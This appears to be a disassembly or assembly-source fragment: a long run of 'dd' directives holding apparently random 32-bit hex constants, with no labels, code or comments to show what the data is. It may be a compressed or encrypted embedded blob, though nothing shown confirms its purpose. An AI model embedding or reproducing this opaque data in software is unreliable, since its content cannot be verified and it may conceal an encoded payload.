		dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h,	200107Dh
		dd 0C16AF90Ch, 7FC317h,	4B8142EBh, 2C0AD520h, 892F1301h
		dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
		dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
		dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
		dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h,	0BB400293h
		dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
		dd 11F4ADD7h, 803908C4h
		dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch
		dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h
		dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah
		dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
		dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
		dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
		dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
		dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
		dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h,	0E4DAEA32h
		dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
		dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
		dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
		dd 18B22C3h, 5A9EFC08h,	0EB540584h, 0EC1811E9h,	8D01801Ch
		dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
		dd 6C9ED5h, 0FF558817h,	82297F3h, 0EC832500h, 10111C93h
		dd 5C01750Ch, 213B7F6h,	0C34C002Dh, 0A80D03D6h,	18D38400h
		dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h,	37F2F4AFh
		dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
		dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
		dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh,	482F680Ah
		dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
		dd 8A0FFC30h, 0AD6D22h,	77C90576h, 833AFBC4h, 9DF00805h
		dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h,	2079D5EAh
		dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
		dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh,	0EB755AA9h
		dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
		dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
		dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h,	2C201021h
		dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
		dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
		dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h,	0D89D0EF7h
		dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
		dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
		dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
		dd 7B81100h, 7A31BC4Bh,	836C0014h, 0FF09B068h, 0E0003D5h
		dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
		dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
		dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch,	0B3034F05h
		dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h,	0C42C9B5Dh
		dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh,	8E00CB4h
		dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
		dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
		dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
		dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh,	60E62FBh
		dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah,	13FCBE0h
		dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h,	17BF39EBh
		dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
		dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h,	0E6720A78h
		dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
		dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h,	0D0C80122h
		dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
		dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
		dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
		dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh,	8BF00032h
		dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
		dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
		dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h,	0EC6A6093h
		dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh,	0AEE83EFFh
		dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h,	1741090Fh
		dd 70038557h, 29DACC0h,	76DC00E8h, 8199101Ah, 0C01DFDF3h
		dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
		dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h,	94287506h
		dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h,	740F649h
		dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
		dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h,	0A5583553h
		dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h,	0E45E1739h
		dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
		dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
		dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
		dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
		dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
		dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
		dd 9D0065A1h, 429AC8Eh,	6A13DAh, 0A662E756h, 0A4D7471Fh
		dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
		dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h,	2E7FDA91h
		dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh,	48A680ABh
		dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
		dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
		dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
		dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
		dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
		dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh,	68D5200Bh
		dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h,	0BE41FC55h
		dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
		dd 0CB3D6Ch, 696A2188h,	0F1FA1612h, 1F4AC800h, 3A7FF95Bh
		dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
		dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
		dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h,	0A5E947EDh
		dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h,	1CC020FCh
		dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h,	0F642AA80h
		dd 8A3E957Ah, 0BB3C3Eh,	0D321A2DEh, 0F67D3DF7h,	0EF540077h
		dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch,	68500762h
		dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
		dd 9117B28h, 5623F4B7h,	0B2622A8Fh, 0D0E01EF8h,	4C76FCC8h
		dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h,	3F71A108h
		dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h,	49980901h
		dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h,	2879AF8Bh
		dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
		dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
		dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
		dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h,	0F2EE0044h
		dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
		dd 7D9A5FCh, 6EC01609h
		dd 71E8F1E0h, 23E0E23h,	0F826112Fh, 0B900EE21h,	60751735h
		dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h
		dd 0C3312Bh, 3BD3A0D0h,	327736F2h, 0E7B82000h, 875C48Fh
		dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh,	2A90D4h
		dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh,	9511000Ah
		dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
		dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
		dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h,	5408B324h
		dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h,	72F8D4B5h
		dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h,	0C6DE3780h
		dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
		dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh,	0B59428h
		dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
		dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
		dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
		dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
		dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
		dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
		dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h,	80F0756h
		dd 91F6482Eh, 3737566h,	0E888BA8Ch, 0F3E8DFA3h,	44C136AFh
		dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
		dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
		dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h,	8776032Fh
		dd 714A0CAh, 21C7ACB8h,	0F048BA76h, 0A3A51E5Ch,	172061C0h
		dd 0FF64845Ah, 5E85F8h,	0BBB3274Ah, 2E4BEC59h, 0C4102307h
		dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
		dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh,	1EA23907h
		dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
		dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
		dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h,	5D898F5Ch
		dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
		dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
		dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h,	0FAEFC9F8h
		dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
		dd 1616851Fh, 1553C08h,	0F2064369h, 0A5EEE012h,	0C9032707h
		dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
		dd 31222F4h, 5CC3FD3Bh,	391C4A1Dh, 24CE4043h, 2DD8E83Dh
		dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
		dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
		dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
		dd 8E49C097h, 20009DBh,	8078BEFCh, 424412h, 0FE79B7E4h
		dd 387450DAh, 1353126h,	9992803Bh, 0C2D4717Eh, 24DD005Bh
		dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h,	63000A65h
		dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h,	8C38600Bh
		dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
		dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
		dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
		dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
		dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
		dd 112FC53h, 1C2693F4h,	0F4E7AA85h, 73013B1Fh, 8819826Dh
		dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
		dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
		dd 3E6A5F00h, 2437C48h,	18271E99h, 82007C55h, 6132A98h
		dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
		dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh,	4A00C0EFh
		dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
		dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h,	7048FDCAh
		dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh,	49D00F65h
		dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h,	0B513E67Dh
		dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
		dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
		dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
		dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
		dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
		dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
		dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
		dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
		dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
		dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
		dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
		dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
		dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
		dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
		dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
		dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
		dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
		dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
		dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h,	89B2EC5h
		dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
		dd 31642F0h, 41EC1215h,	0C76A2300h, 0B4DA468Ch,	17C00019h
		dd 744A423Ah, 800A80Bh,	3E4C754Bh, 3D9B73h, 5D4E8CADh
		dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
		dd 51702CC3h, 69AF000h,	0DE813EF4h, 1DE90002h, 29508E25h
		dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh,	0D87C0782h
		dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
		dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
		dd 824998F5h, 8774A01h,	0D4637550h, 0C8D01871h,	1906002Bh
		dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
		dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
		dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
		dd 2BAEC051h, 3C0FDF0h,	689F300h, 4C418CAFh, 42670075h
		dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h,	4E581E6Ch
		dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh,	56290098h
		dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
		dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
		dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
		dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h,	0AC13B27h
		dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
		dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h,	0F7F0167Fh
		dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
		dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
		dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
		dd 530075DBh, 0CC88FF17h
		dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h
		dd 2660660Bh, 0B0F00Ch,	25FA453Bh, 5CF00D74h, 406C21Fh
		dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h
		dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h,	36000E67h
		dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h,	0A6F2B752h
		dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h,	64178ED0h
		dd 1F20047h, 4EEC8238h,	270134F3h, 5DC04A8Fh, 1BCD2E6Bh
		dd 1D99DCh, 0EDA5FA29h,	0FBBB6001h, 2481660Bh, 1980FF7Dh
		dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch,	50F248D9h
		dd 45B398Eh, 1CF4E83Bh,	6A80803Fh, 4E268D0Ah, 4F740008h
		dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h,	23AB4056h
		dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
		dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h,	0DD121FFFh
		dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h,	3CA4070Ch
		dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
		dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
		dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
		dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
		dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
		dd 0B681D291h, 75393Eh,	0AA51F527h, 4F42EDh, 0E31224A6h
		dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
		dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
		dd 2CE4542h, 5C261CC0h,	405D217Eh, 183CDC18h, 10352350h
		dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h,	873C7E1Bh
		dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
		dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh,	867F00A8h
		dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
		dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
		dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
		dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h,	0C925A7F2h
		dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h,	85E02CF0h
		dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
		dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
		dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h,	308D8Bh
		dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h,	8A05C283h
		dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh,	0F1450B0h
		dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
		dd 0D1C680h, 83740567h,	724FBA68h, 0F021D605h, 0F780753Bh
		dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
		dd 478100EFh, 17C5625h,	6800625Bh, 12F03918h, 1DBDDA1Ch
		dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
		dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h,	0FC1C400Bh
		dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
		dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh,	60553899h
		dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
		dd 714A610h, 3758E1A5h,	0E4069159h, 8EBD4092h, 4D786599h
		dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
		dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
		dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
		dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
		dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh,	5513B2ECh
		dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h,	0CCB3DF01h
		dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
		dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
		dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
		dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h,	13B07E00h
		dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
		dd 90C916h, 0D302D088h,	49F3D69Dh, 18000574h, 955B1C36h
		dd 24588496h, 28FFF01h,	4E1E2B2Eh, 0C1574740h, 2894200h
		dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
		dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
		dd 43A63C24h, 2149B11h,	0D15298D0h, 8034F03Bh, 0B948A2FFh
		dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
		dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h,	3A00D845h
		dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h,	3C00E340h
		dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
		dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
		dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h,	8230014h
		dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h,	1BAC2040h
		dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
		dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
		dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh,	0F1071EA8h
		dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
		dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
		dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h,	2B8E2699h
		dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
		dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
		dd 50CFFD2h, 83CD3B24h,	87D30023h, 0F210D455h, 127D600h
		dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
		dd 0C884B900h, 17E902h,	0A2DD47E8h, 7E82F0BCh, 0B143A300h
		dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
		dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
		dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h,	7A000BFCh
		dd 0C9535F84h, 2E8822h,	0B8C10104h, 4E603F10h, 3437BF1Fh
		dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h,	90011D45h
		dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh,	0FDC44BAFh
		dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
		dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
		dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
		dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h,	0A786007Bh
		dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
		dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh,	0E0DE9421h
		dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
		dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h,	486A02F3h
		dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
		dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
		dd 2ACAC106h, 81FEBECh,	87C3F83Ah, 0E8E6E375h, 5E9F8Eh
		dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
		dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
		dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
		dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
		dd 1107053h, 88E22A11h,	0D9182134h, 4C0DD851h, 87493800h
		dd 50A28C91h
		dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h
		dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh
		dd 768F303h, 5615FC99h,	8108A023h, 4500503Eh, 27414C6h
		dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h,	0FE744A5Dh
		dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
		dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh,	79E7C53Fh
		dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h,	8E037F86h
